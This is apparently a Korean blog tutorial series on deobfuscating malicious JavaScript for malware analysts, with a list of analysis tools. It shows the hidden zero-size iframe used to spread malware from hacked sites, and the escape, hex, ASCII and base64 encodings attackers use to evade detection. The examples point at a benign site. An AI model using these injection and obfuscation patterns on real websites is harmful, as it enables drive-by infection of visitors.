[3] 자바스크립트 난독화 기초 2

난독화/난독화 강좌 2013. 5. 4. 23:58

[3] 자바스크립트 난독화 기초 2

 

1.      Iframe Tag를 이용한 악성코드 유포

 

1.1 일반적인 악성코드 유포 패턴

예제 1)

 <iframe src=http://[악성코드 유포사이트 경로] width=0 height=0></iframe>

  ①     정상적으로 서비스되고 있는 웹사이트를 해킹하여 소스코드에 iframe을 삽입

  ②     악성코드 유포사이트를 보이지 않게 하기위해 “width=0 height=0”로 설정

  ③     이런 악성코드가 삽입된 사이트를 위/변조 사이트라고 하며, 이런 사이트 접속 시

      사용자는 인지하지 못한 상태에서 악성코드에 감염

   * iframe Tag는 정상사이트에서도 사용하기 때문에, 있다고 반드시 악성은 아니다

 

1.2 해커 입장에서 예제1” 의 문제점

  ①    보안장비에서 패턴을 통하여 탐지 가능하다

  ②    보안담당자가 소스코드만 확인하여도 쉽게 악성코드 유포지를 알 수 있다

 ð  때문에 난독화를 통하여 보안장비 우회 및 분석시간이 오래 걸리도록 한다

 

 

2.      같은 의미! 다른 형태!

 

2.1.        동일한 의미를 가진 여러 형태의 패턴

예제 2)

 

ex 1)

<iframe src=http://café.naver.com width=800 height=500></iframe>

 

ex 2)

<script>

a="<iframe src";b="=http://caf";c="e.nav";

d="er.com width";e="=800 heigh";

f="t=500></iframe>";

document.write(a+b+c+d+e+f);

   </script>

 

  ①     ex 1) ex 2) 는 다른형태를 가지고 있지만, 동일한 행위를 한다

 

예제 3)  

 

ex 1)

a="%3Ciframe%20src%3Dhttp%3A//cafe.naver.com%20width%3D800%20height%3D500%3E

%3C/iframe%3E"

 

b="3c696672616d65207372633d687474703a2f2f636166652e6e617665722e636f6d2077696474

683d383030206865696768743d3530303e3c2f696672616d653e";

 

c="60,105,102,114,97,109,101,32,115,114,99,61,104,116,116,112,58,47,47,99,97,102,101,46,110,

97,118,101,114,46,99,111,109,32,119,105,100,116,104,61,56,48,48,32,104,101,105,103,104,116,

61,53,48,48,62,60,47,105,102,114,97,109,101,62";

 

   d="PGlmcmFtZSBzcmM9aHR0cDovL2NhZmUubmF2ZXIuY29tIHdpZHRoPTgwMCBoZWlnaHQ9

   NTAwPjwvaWZyYW1lPiA=";

 

 ①     a, b, c, d는 모두 다른 형태이지만. 동일한 의미를 가지고 있다.

 ②     예제 3)의 형태는 기본적인 형태이므로 보면 어떤 코드인지 알 수 있도록 해야 한다

 

3.      난독화에 많이 이용되는 기본 패턴

 

3.1.   escape unescape

예제 4)  

 

<script>

a="%3Ciframe%20src%3Dhttp%3A//cafe.naver.com%20width%3D800%20height%3D500%3E%3C/iframe%3E";

s=unescape(a);  //-- a unescape로 변환하여 s에 저장

document.write(s);

</script>

 

## 결과

 cafe.naver.com 으로 접속 시도한다

 

 ①     document.write는 문자열로 html에 반환하기 때문에 iframe이 실행된다

-   문자열을 보고 싶다면, alert 이나 xmp tag를 이용하면 된다

 ②     a escape로 난독화되어 있기 때문에 unescape를 이용하여 복호화 하였다

 

3.2.   HEX Code

b HEX Code이다. Hex는 기본적으로 알고 있을 것이다. 하지만 해당 코드가 hex인줄 몰랐다면

익숙하지는 않은 것이다 

예제 5) 

 

<script>

b="3c696672616d65207372633d687474703a2f2f636166652e6e617665722e636f6d207769647468

3d383030206865696768743d3530303e3c2f696672616d653e";

var s="";

for(i=0;i<b.length;i+=2)

 {s+=String.fromCharCode(parseInt(b.substring(i,i+2),16))};

document.write(s);

</script>

## 결과

 cafe.naver.com 으로 접속 시도한다 (예제 4번과 동일한 이유)

 

       위와 같은 스크립트를 이용하여 복호화 할 수 있다

 ②     예제 4번과 동일한 방법으로 복호화된 문자열을 볼 수 있다

 

3.3.   ASCII Code

  c는 아스키코드이다. 숫자, 문자, 특수기호에 번호를 부여한 것이라 생각하면 된다

예제 6) 

 

<script>

c="60,105,102,114,97,109,101,32,115,114,99,61,104,116,116,112,58,47,47,99,97,102,101,46,110,97,

118,101,114,46,99,111,109,32,119,105,100,116,104,61,56,48,48,32,104,101,105,103,104,116,61,53,

48,48,62,60,47,105,102,114,97,109,101,62";

s="";

c=c.split(",")

for (i=0;i<c.length;i++){s+=String.fromCharCode(c[i]);}

document.write(s);

</script>

## 결과

 cafe.naver.com 으로 접속 시도한다 (예제 4번과 동일한 이유)

 

  ①     위와 같은 스크립트를 이용하여 복호화 할 수 있다

 ②     예제 4번과 동일한 방법으로 복호화된 문자열을 볼 수 있다

 

3.4.   Base64 Code

d Base64 Code이다. 전자메일에서 사용하는 64진수 코드라고 보면 된다. 

예제 7)

 

<script>

str="PGlmcmFtZSBzcmM9aHR0cDovL2NhZmUubmF2ZXIuY29tIHdpZHRoPTgwMCBoZWlnaHQ

9NTAwPjwvaWZyYW1lPiA=";

 var b64c = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefg'+'hijklmnopqrstuvwxyz0123456789+/=';

 var b64d = '', chr1, chr2, chr3, enc1, enc2, enc3, enc4;

 str = str.replace(/[^a-z0-9+/=]/gi, '');

 for (var i=0; i<str.length;) {

  enc1 = b64c.indexOf(str.charAt(i++));

  enc2 = b64c.indexOf(str.charAt(i++));

  enc3 = b64c.indexOf(str.charAt(i++));

  enc4 = b64c.indexOf(str.charAt(i++));

  chr1 = (enc1 << 2) | (enc2 >> 4);

  chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);

  chr3 = ((enc3 & 3) << 6) | enc4;

  b64d = b64d + String.fromCharCode(chr1);

  if (enc3 < 64) { b64d += String.fromCharCode(chr2); }

  if (enc4 < 64) { b64d += String.fromCharCode(chr3); }

 }

document.write(b64d);

</script>

## 결과

 cafe.naver.com 으로 접속 시도한다 (예제 4번과 동일한 이유)

 

  ①     위와 같은 스크립트를 이용하여 복호화 할 수 있다

 ②     예제 4번과 동일한 방법으로 복호화된 문자열을 볼 수 있다

 

4.      간단하게 디코딩 하기

4.1.   TRANSLATOR, BINARY

코드에 익숙해지기 위해 자바스크립트로 디코딩을 해보았다. 하지만 어떤 코드인지 안다면

아래의 사이트에서 간단하게 모두 디코딩 할 수 있다

 

바로가기: http://home.paulschou.net/tools/xlate/

 

 

[그림1] 디코딩 화면

설정

트랙백

댓글

[2] 자바스크립트 난독화 Tool

난독화/난독화 강좌 2013. 5. 4. 18:40

 

[2] 자바스크립트 난독화 Tool

 

1.    난독화 해제에 사용되는

  ※ 소개되는 툴들은 난독화해제시 사용하는 것들로 기본적인 사용법을 익혀두면 좋다

 

1.1.   에디트플러스

 난독화 및 코딩을 도와주는 문서 편집기로 가장 많이 사용하는 프로그램이다 (29.700)

    에디트플러스 사이트: http://www.editplus.com/kr/index.html

 

1.2.  TRANSLATOR, BINARY

 Text, binary, hex, base64, ascii code로 변환해 주는 사이트

   TRANSLATOR, BINARY: http://home.paulschou.net/tools/xlate/

  

1.3.  Malzila

 Malware hunting tool !! (오픈소스)

 난독화해제 및 악성코드 분석에 많이 사용되는 오픈소스 툴로 hex Xor 및 다양한

 용도로 이용된다

   Malzilla download: http://malzilla.sourceforge.net/

 

1.4.  HEX Editor

 무료 HEX 에디터 툴로 hex edit hex 값을 파일로 생성시 사용

   다운로드 사이트: http://mh-nexus.de/en/hxd/

  

1.5.  PDF Stream Dumper

 PDF 분석 사용하는 툴로 PDF에 포함된 스크립트 및 난독화 분석 시 이용

   다운로드 사이트: http://sandsprite.com/blogs/index.php?uid=7&pid=57

  

1.6.  Paros(parosproxy)

 ParosWeb proxy툴로 Web의 취약점 분석과 웹해킹 도구로 사용

 나는 악성코드 유포지로 유도하는 위/변조 사이트를 찾기 위해 주로 사용 한다

ParosJDK가 설치되어야 실행가능하며 사용하기 전 웹설정(proxy)이 필요하다

   다운로드 사이트: http://www.parosproxy.org/

 

1.7.  Java Decompiler

 .jar 파일을 java코드로 디컴파일하여 보여주는 툴

   다운로드 사이트: http://java.decompiler.free.fr/

 

1.8.  Sothink SWF Decompiler

 .swf(flash file)을 분리하여 볼 수 있는 프로그램

  ☞ Sothink SWF Decompiler가 없다면 다른 swf 분석 프로그램을 사용하여도 된다

   다운로드 사이트:

 

※ 개인적으로 사용하는 툴을 소개한 것이며, 각자의 취향에 따라 다른 툴을 사용해도 된다

 

설정

트랙백

댓글

난독화 스터디 시작!!

난독화/난독화 강좌 2013. 5. 3. 02:53

나는 자바스크립트를 공부해 본적이 없다.

하지만 자바스크립트로 난독화 된 악성코드를 분석하는 것에 흥미가 많고 재미있다.

난독화 공부를 하고 싶지만 관련된 자료가 많지 않아 공부하기 힘든 나같은 사람들을 위해

내가 아는 지식들을 정리해 보기로 했다!!

얼마나 할지는 모르겠지만 ㅎㅎ

 

설정

트랙백

댓글

[1] 자바스크립트 난독화 기초

난독화/난독화 강좌 2013. 5. 3. 02:35

[1] 자바스크립트 난독화 기초

 

1.      난독화란?

프로그래밍 언어로 작성된 코드를 읽기 어렵게 만드는 작업

 

2.      난독화의 기본 예

예제)

<script> open(“http://naver.com”); </script>

 

<script>a="http";b="://";c="naver";d=".com";open(a+b+c+d);</script>

 

 

3.      난독화 해제(복호화)의 원리

1)    난독화 되어 있는 스크립트는 실행되기 위해 복호화되어 특정 변수에 저장된다

☞ 복호화된 데이터가 저장된 변수를 ‘key변수라고 부르겠다

 

2)    복호화된 데이터를 실행하기 위해서 실행함수가 사용된다

 

3)    실행함수를 문자로 나타내는 함수로 변환하여 복호화된 스크립트를 확인할 수 있다

 

 

 

 

4.      난독화 해제에 사용되는 함수

1)    alert(key변수);

 

2)    document.write(key변수);

 

3)    document.write(“<xmp>”+key변수+”</xmp>”);

 

4)    document.write(“<textarea>”+key변수+”</textarea>”);

설정

트랙백

댓글